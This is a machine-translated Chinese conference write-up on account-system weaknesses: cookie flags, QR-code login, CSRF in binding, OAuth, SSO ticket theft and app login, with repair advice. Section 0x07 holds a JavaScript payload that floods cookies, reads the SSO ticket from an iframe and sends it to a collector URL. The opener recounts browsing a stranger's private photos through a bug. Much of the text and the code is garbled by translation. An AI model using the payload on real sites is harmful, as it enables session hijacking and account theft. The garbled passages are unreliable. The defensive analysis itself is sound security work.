A fool does not speak

0 x00 profile

This article is a text-edited version of the PPT “My Pass your Certificate” related to account pass security that I spoke at the CSDN Developer conference a few months ago, with some supplementary content. I have no time to write because I am lazy, but the end of the year is coming, and I think I can earn some New Year’s money for the children in my hometown.

A few months ago, WHEN I measure the loophole of an account system of Baidu, I inadvertently entered the Baidu net disk of the female cashier of a sweet shop of Ciyun Temple bridge, at that time casually looked at two eyes, suddenly found a nude photo of her, frightened me to close the page. I thought, how bad would it be if she were my best friend’s girlfriend and her nude photos were leaked by bad guys using a bug

After transposition thinking, I closed my eyes and swore secretly to naked photos that it was everyone’s duty to protect female net friends

This article is quite long, I suggest you let your girlfriend no longer wait, let her put on pants to sleep first

Eighty-one postures of mainstream id theft

  • Password vulnerabilities — password leakage, brute force cracking, database collision, password recovery vulnerability, social work database, phishing…
  • Authentication cookie theft — XSS attacks, network breaches, man-in-the-middle attacks
  • Other vulnerabilities — QR code login, single sign-on, third-party login, automatic client Web login, binding other account login, OAuth login vulnerability…

Today we’re not going to talk about password security. Today we’re going to talk about some of the common password-related “other vulnerabilities” on the Internet.

0x01 A little bit about the security of authenticated cookies

At present, the websites of major Internet companies mostly use cookies to realize user authentication. If the attacker gets the authentication cookie, he can log in to the user’s account

Cookie security points

Httponly: Prevents cookies from being stolen by XSS

HTTPS: prevents cookies from being stolen on the network

Secure: Prevents cookies from being transmitted over non-HTTPS, many of which are missed over site-wide HTTPS

Path: identifies cookies. It does not play a significant role in security and conflicts with same-origin browsers

  • Httponly: Preventing cookies from being stolen by XSS An XSS attack can obtain a user’s cookie. But if cookies add httpOnly to them, js will not be able to read them and protect them from being stolen in an XSS attack. Many security practitioners feel that if cookies add HttpOnly, XSS is not a vulnerability. XSS is a standard HTML/JS code injection vulnerability that can do more than just steal cookies. There are many examples below…

  • HTTPS: preventing cookies from being stolen On the Network Currently, authentication cookies of mainstream websites are transmitted unprotected on the Internet and may be sniffed or leaked by other means. Therefore, it is recommended that websites with high security levels use site-wide HTTPS, which does not support HTTP access, and use HSTS to force HTTP requests to be converted into HTTPS requests

  • Secure: Prevents cookies from being transmitted over non-HTTPS. Many SSS will miss this even if you do SSS but your cookie does not have the Secure property. An Internet middleman can force you to use HTTP to access a site-wide HTTPS domain on a third-party page, and your cookie will also be transmitted over an insecure network. If the secure attribute is added, this cookie is transmitted only in HTTPS requests

  • Path: the identifier that differentiates cookies from the same origin policy of the browser is not important for security purposes. Cookies also have a Path attribute that differentiates cookies from the same origin policy of the browser. Because, although XSS under path A cannot read the cookie under path B, XSS under path A can inject code into the page of path B, and then read the cookie under path B

A better cookie scheme

  1. The unguessability of cookies
  2. httponly+HTTPS+Secure+HSTS
  3. Try not to deploy multiple different Web services with different ports for the same IP, because cookies do not discriminate ports

0x02 pass “Other Vulnerabilities”

Common pass related functions

  • Qr code login
  • Single sign-on (sso)
  • Third-party Login
  • App inline login
  • Bind other Accounts
  • Transfer authentication information across domains
  • Login request
  • …

0x03 Two-dimensional code Login Security Risks

1. No behavior confirmation

After the user scans the QR code, the system should prompt the user to check the behavior of the QR code. If there is no confirmation, the user can scan the login QR code of the attacker to authorize the attacker’s ticket

WooYun: The account of an outgoing user can be tricked into hijacking

2. CSRF vulnerability forges authorization requests

A request for ticket authorization is HTTP and can be forged by an attacker. An attacker can forge a request for users to scan the QR code and execute it, or allow users to authorize the attacker’s bill in other forms

Some two-dimensional code authorization requests should be valid only on the APP side, but in most cases, the request is also valid in the web site login state, increasing the attack surface

Case study:

Click my link on the micro-blog and I can log into your Taobao Alipay and micro-blog WooYun: Click my link on the micro-blog and I can log into your Taobao Alipay and micro-blog and I can steal the number and hang the horse (poC is attached with some holes).

I chatted with you… WooYun: I hooked up with you… Wechat (both can hijack wechat login vulnerabilities)

Repair plan

  1. After the user scans the QR code, the system should prompt the user to check the behavior of the QR code, inform the user of the risk, and ask the user whether to perform the operation
  2. An attacker cannot forge a user’s confirmed request, such as a verification token associated with the user’s identity
  3. The authorization request of two-dimensional code is not available in web login state, and can even use non-HTTP protocol, which can reduce a lot of attack surface

0x04 Security Risks Caused by Binding Other Accounts

  1. If a binding request is not protected by CSRF, an attacker can construct a malicious request to bind the user to the attacker’s account. This allows an attacker to log in to his own account and manipulate the user’s resources

    Case: netease somewhere open my link will be stolen by sub non SpongeBob

  2. Plus, the more third-party accounts you’re tied to, the lower your security level, because it’s less likely that all of your accounts will be safe at the same time

Repair plan

Universal anti-CSRF solution, Referrer +token

When I talk about CSRF or JSONP hijacking, I’ve met countless people who tell me referrer can be forged. I can only say that I currently don’t know of a way to forge referrer on the browser side. If you can write a program to fake referrer, then we’re not talking about the same thing

0x05 Security Risks Caused by Binding a Third-party OAuth Account

  1. After obtaining Accesstoken from oauth service provider, the state parameter is not checked when binding with the account of this site, so the binding request can be CSRF. An attacker can use CSRF estimation to get you to bind to his account
  2. Even if the state parameter is checked. The initial binding request, such as the request sent by clicking the binding button, is not CSRF protected. The OAuth authorization of some service providers, such as Sina Weibo, has the following characteristics: If the currently logged microblog has authorized the application, the binding will be successful automatically. Therefore, we can find a CSRF vulnerability of Sina Weibo login. Let the user automatically log in the attacker’s microblog (Sina has such vulnerability, I will not write in detail here) and then let the user access the binding request, so as to complete the binding of the attacker’s microblog. Attackers use weibo to log in and gain access to users’ accounts

Case in point: Click on my link and I may be able to access your nut shell account

For more security summaries of OAuth, see the oAuth 2.0 Security Case Review

0x06 Abnormal transmission Security Risk of Authentication Cookies

Authentication cookies should only appear in HTTP requests and are stored in browsers with httpOnly attributes, so they cannot be stolen by XSS attacks. However, in some functional architectures, the irregular transmission and use of authentication cookies may lead to the disclosure of authentication cookies

  1. The page or interface data outputs the authentication information of the current user, which can be used by XSS attacks on the current page
  2. The SSRF interface transmits cookies to third parties

Case study:

Httponly BDUSS can be accessed in two ways via a sticky rice XSS around Chrome.

You click my link on Weibo and I can XSS you and get httpOnly cookies and other hazards

0x07 Single Sign-on Security Risks

The simple principle of single sign-on

Requirement: if the user has logged in B station, then automatically logged in A station to achieve: the user visits A station, A station to jump the user to B station, B station to verify the user has logged in, give the user A ticket, the user took the ticket to find A station, A took the ticket to B that, after successful verification put the user in

The following sample sites abound below

A:http://www.t99y.com

B:`http://passport.wangzhan.com

Example: the user to access http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php

Station B verifies that station A is A whitelist field, and then 302 jumps to

http://www.t99y.com/a.php?ticket=******

Then, a. HP uses the ticket parameter to verify that the user is valid at B, and then gives the user a type of authentication cookie

The general process of stealing authentication information is as follows, which will be discussed in detail later. The purpose of the attack is to get the user’s ticket information

Common vulnerability scenarios

Common on the Internet a few single sign-on scenarios, pass or the third party station to the login with the use of the certificate have different ways, respectively how to steal

Scenario 1: Use tickets directly for validation

http://t99y.com/a.php?ticket=XXXXXXXXXXXXXXXX

The server uses the ticket to authenticate the user for SSO, and then authenticates cookies in the local domain

Stealing ideas:

Let the page we construct get the credentials and request resources on the server we control so that the ticket information is in the referrer

Several ways to steal

  1. The page with ticket information will initiate an image request. The image service is our own. We can read the referrer in the request, and the referrer will contain ticket information
  2. Find a page that can send an IFrame that defines SRC. The referre in the iframe request has a ticket
  3. Find a page with JS jump vulnerability to get a ticket, the jump destination address is our service, js jump is with the referrer, read the request’s referrer, which contains ticket
  4. If img and iframe SRC values only allow whitelisted field urls, then find a whitelisted field 302 jump vulnerability to bypass the whitelist, which can pass the referrer of the previous request
  5. Xss gets address bar information

The diagram below is a chrome browser I drew. The ticket parameter in the address bar is included in the referrer of the request for some of the following elements

WooYun: If you click the link I sent on weibo, I can log on to your Weibo (both web version and APP can be submitted together with the two vulnerabilities).

Scenario 2. The middle page receives ticket to complete authentication, and then uses JS to jump to our target page

http://t99y.com/login.php?ticket=XXXXXXXXXXXXXXXX&url=http://t99y.com/a.php at this kind of certification on cookies

The page then jumps to http://t99y.com/a.php location.href= “http://t99y.com/a.php” using js;

Example: a website that can be automatically logged in after binding a Microblog account

Several ways to steal

  1. Find a page with 302 redirect vulnerability such as B.hp, initiate a single sign-on request, and then b.HP with ticket information will redirect to our service. Because the js jump will carry the referrer, and then pass the referrer to the page we can control through the 302 jump
  2. Xss gets the referrer of the current page

Scenario 3. The middle page receives ticket to complete authentication, and then uses 302 to jump to our target page

Multiple 302 jumps are shown below

http://passport.wangzhan.com/login.php?url=http://www.t99y.com/a.php

http://t99y.com/login.php?ticket=XXXXXXXXXXXXXXXX&url=http://t99y.com/a.php

http://t99y.com/a.php

Steal the way

Create an iframe Xss, kind of super-long cookie, let containing 302 denial of service ticket, and then use the iframe. ContentWindow. Location. The href read last iframe current address

Denial of service also has the advantage of preventing certain tickets from being protected against replay

#! js for (i = 0; i < 20; i++) { document.cookie = i + '=' + repeatt('X', 2000) + '; path=/auth'; } var iframe =document.createElement('iframe'); iframe.src="http://bobo.163.com/checkAuth?url=http://www.bobo.com/&"; iframe.addEventListener('load', function(){ var ntes = iframe.contentWindow.location.href; var img1 =document.createElement('img'); Img1. SRC = "http://127.0.0.1/163img.php? r="+encodeURIComponent(ntes); for (i = 0; i < 20; i++) { document.cookie = i + '=' + repeatt('X', 1) + '; path=/auth'; } }, false); document.body.appendChild(iframe);Copy the code

Case: Netease users can access their mailbox, cloud notes and other services by clicking my link when they log in

The above method does not work with some versions of IE, because IE loads its own local page when it cannot open the page, resulting in a different source of error page from our XSS page

Repair plan

It is up to the authentication authority to set authentication cookies for sub-stations across domains

Sso requires CSRF protection so that users cannot forge login requests

0x08 Risk of in-page Login in App

When we open some links of the company’s products in an app, authentication information will be added to enable users to automatically log in

Sid, GSID, and key parameters are usually added to the weibo client, QQ client, and wechat client

  • Case study: WooYun: I hooked up with you while we were talking… “> < p style = “max-width: 100%; clear: both; min-height: 1em; The WeChat
  • Case: Mobile version of QQ space identity factors can be stolen
  • Case: before a mobile QQ vulnerability, find a QQ domain under the forum to send a picture, and then send this page to mobile QQ friends, he click will be stolen

Several ways to steal

See methods of single sign-on scenario 1. Users may even share authentication information to emails or moments through the sharing function of the appCopy the code

Repair plan

Do not add authentication credentials directly to the WEBView URL to complete authentication

You can use cookies, you can use POST

0x09 Credentials obtained from the pass across domains

Get a login ticket from a cross-domain pass

In the form of similar to http://www.wangzhan.com/sso/getst.php?callback=jsonp

The pass then returns data in JSONP format, which contains authentication information

Case: If you click the link I send on weibo, I can board your weibo

Several ways to steal

  • Jsonp hijacking vulnerability exists
  • Referrer restrictions are not strict and can be circumvented by string matching. Or support empty referrer, which can be circumvented by making empty referer requests with a few tricks
  • Xss vulnerability to request data from this interface across domains

Repair plan

This is not an architectural option

App and Web interface should not be mixed, to ensure that the interface is clean and single. I’ve seen cases where the Web and app have lowered their own security policies or used inappropriate architectures in order to be compatible

0x0A Some problems with mainstream SSO

This is all vulnerability information, but sometimes there are architectural glitches that can lead to a vulnerability or make it easier for an attacker to exploit it

Some common SSO security risks are as follows:

  • The bills of each station are common, and many of them use authentication cookies directly
  • Authentication Cookie Settings are not protected enough, httpOnly, secure…
  • Sso authorizes tickets for sub-stations to be replayed
  • Sso authorizes notes to sub-stations for extremely long periods of time
  • Authentication information is not transmitted using HTTPS
  • The SSO is not added to risk control policies such as IP addresses or UA
  • The attacker steals the ticket and uses it easily without warning
  • The interaction process of bills is not strictly protected and is easy to be stolen by loopholes. (Good processes are issued across domains by SSO)
  • The authentication cookie is not invalid after the password is changed
  • The authentication cookie is not invalid after the user logs out
  • Automatic login, binding, exit and other sensitive functions, without CSRF protection
  • A third-party account is bound to lower the security level of the user
  • The App and Web interfaces are mixed, which lowers the security level

Case: You open QQ on Windows and click my link, I will enter your QQ mailbox tenpay etc. (any Tencent XSS take QQ clientkey)

In addition to the XSS vulnerability, there are two security design issues in this case, which are mentioned above:

  1. Authentication Cookie protection is insufficient
  2. Automatic login, binding, exit and other sensitive functions, without CSRF protection

0 x0b summary

Network is my home, security depends on everyone. Protect your girlfriend. Put a lock on her